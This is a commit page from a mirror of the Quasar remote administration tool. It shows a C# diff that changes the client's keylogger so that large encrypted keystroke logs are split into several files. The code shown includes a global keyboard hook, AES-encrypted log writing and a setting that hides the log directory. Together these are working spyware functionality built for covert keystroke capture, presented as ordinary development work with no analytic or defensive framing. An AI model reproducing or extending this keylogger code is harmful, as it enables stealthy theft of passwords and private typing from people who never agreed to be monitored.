Rooba
/
Quasar
mirror of https://github.com/quasar/Quasar.git
1
1
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Split large keylogger files 

Closes #554, Closes #588
This commit is contained in:
MaxXor 2020-05-30 18:35:01 +02:00
parent fe7391b6e2
commit f037afa694
2 changed files with 32 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

37
Quasar.Client/Logging/Keylogger.cs
View File

@ -32,7 +32,7 @@ public class Keylogger : IDisposable
private readonly Timer _timerFlush;
/// <summary>
/// The
/// The buffer used to store the logged keys in memory.
/// </summary>
private readonly StringBuilder _logFileBuffer = new StringBuilder();
@ -66,12 +66,19 @@ public class Keylogger : IDisposable
/// </summary>
private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY);
/// <summary>
/// The maximum size of a single log file.
/// </summary>
private readonly long _maxLogFileSize;
/// <summary>
/// Initializes a new instance of <see cref="Keylogger"/> that provides keylogging functionality.
/// </summary>
/// <param name="flushInterval">The interval to flush the buffer from memory to disk.</param>
public Keylogger(double flushInterval)
/// <param name="maxLogFileSize">The maximum size of a single log file.</param>
public Keylogger(double flushInterval, long maxLogFileSize)
{
_maxLogFileSize = maxLogFileSize;
_mEvents = Hook.GlobalEvents();
_timerFlush = new Timer { Interval = flushInterval };
_timerFlush.Elapsed += TimerElapsed;
@ -106,6 +113,7 @@ protected virtual void Dispose(bool disposing)
_timerFlush.Stop();
_timerFlush.Dispose();
_mEvents.Dispose();
WriteFile();
}
IsDisposed = true;
@ -304,10 +312,10 @@ private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e)
/// </summary>
private void WriteFile()
{
// TODO: large log files take a very long time to read, decrypt and append new logs to
// TODO: Add some house-keeping and delete old log entries
bool writeHeader = false;
string filename = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy"));
string filePath = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy"));
try
{
@ -319,7 +327,24 @@ private void WriteFile()
if (Settings.HIDELOGDIRECTORY)
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
if (!File.Exists(filename))
int i = 1;
while (File.Exists(filePath))
{
// Large log files take a very long time to read, decrypt and append new logs to,
// so create a new log file if the size of the previous one exceeds _maxLogFileSize.
long length = new FileInfo(filePath).Length;
if (length < _maxLogFileSize)
{
break;
}
// append a number to the file name
var newFileName = $"{Path.GetFileName(filePath)}_{i}";
filePath = Path.Combine(Settings.LOGSPATH, newFileName);
i++;
}
if (!File.Exists(filePath))
writeHeader = true;
StringBuilder logFile = new StringBuilder();
@ -340,7 +365,7 @@ private void WriteFile()
logFile.Append(_logFileBuffer);
}
FileHelper.WriteLogFile(filename, logFile.ToString(), _aesInstance);
FileHelper.WriteLogFile(filePath, logFile.ToString(), _aesInstance);
logFile.Clear();
}

2
Quasar.Client/Logging/KeyloggerService.cs
View File

@ -32,7 +32,7 @@ public KeyloggerService()
_msgLoopThread = new Thread(() =>
{
_msgLoop = new ApplicationContext();
_keylogger = new Keylogger(15000);
_keylogger = new Keylogger(15000, 5 * 1024 * 1024);
_keylogger.Start();
Application.Run(_msgLoop);
});